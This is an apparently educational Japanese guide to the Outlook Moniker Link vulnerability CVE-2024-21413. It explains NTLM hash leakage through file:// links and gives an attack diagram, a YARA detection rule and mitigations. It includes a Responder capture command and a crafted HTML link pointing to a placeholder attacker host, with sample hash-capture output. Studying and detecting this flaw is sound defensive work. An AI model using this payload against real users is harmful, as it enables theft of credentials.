bhatbhupendra/moniker-link--cve-2024-21413-CVE-2024-21413に関する教育ガイド。これは、モニカーリンクを介してNTLM資格情報の盗用を可能にするゼロクリックOutlookの脆弱性です。悪用、YARAを用いた検出、および緩和戦略について説明します。
CVE-2024-21413は、一般に Moniker Link脆弱性として知られ、Microsoft Outlookの重大なセキュリティ上の欠陥であり、攻撃者がユーザーの操作を必要とせずに認証情報を漏洩することを可能にします。
従来のフィッシング攻撃とは異なり、この脆弱性はメールをプレビューするだけでトリガーされる可能性があり、企業環境において特に危険です。
問題は、Outlookがmonikerリンクを処理する方法に起因し、攻撃者が制御するシステムへの意図しない認証試行を引き起こします。
以下の概念を理解することが重要です：
アプリケーションが以下のようなプロトコルを使用して外部リソースを参照できるようにするWindows固有のメカニズム：
file://unc://\\attacker-server\share
ネットワーク上の共有リソースにアクセスするために使用されます。この脆弱性では、認証要求を強制するために悪用されます。
Outlookの Protected Viewは、潜在的に安全でないコンテンツを隔離するように設計されています。この脆弱性はその保護を回避し、外部リソースへのアクセスを許可します。
file://attacker-server/share）をメール内に埋め込みます。[Attacker]
|
| 1. Send crafted email
v
[Victim Outlook]
|
| 2. Auto-process moniker link
v
[Windows System]
|
| 3. NTLM authentication attempt
v
[Attacker Server]
|
| 4. Capture NTLM hash
v
[Credential Abuse / Lateral Movement]
⚠️ 管理されたラボ環境でのみ実施してください
sudo responder -I eth0
<a href="file://attacker-ip/share">Open Document</a>
[SMB] NTLMv2 Hash captured
User: victim
Florian Rothによって、monikerリンクを含む悪用試行を識別するための検出ルールが開発されました。
rule Outlook_MonikerLink_CVE_2024_21413
{
meta:
description = "Detects Outlook Moniker Link exploitation via file:// or UNC paths"
author = "Florian Roth"
reference = "CVE-2024-21413"
strings:
$a = "file://"
$b = "\\\\"
condition:
any of them
}
file:// およびUNCベースのリンクをフィルタリングまたはサニタイズするCVE-2024-21413は、自動認証のような深く統合されたシステムの動作が、メールリンクなどの一見無害な入力によってどのように悪用されるかを示しています。
💡 推奨事項: 仮想ラボ（例：Windows VM + 攻撃者VM）でこの脆弱性を再現し、攻撃チェーンと防御戦略を完全に理解することを推奨します。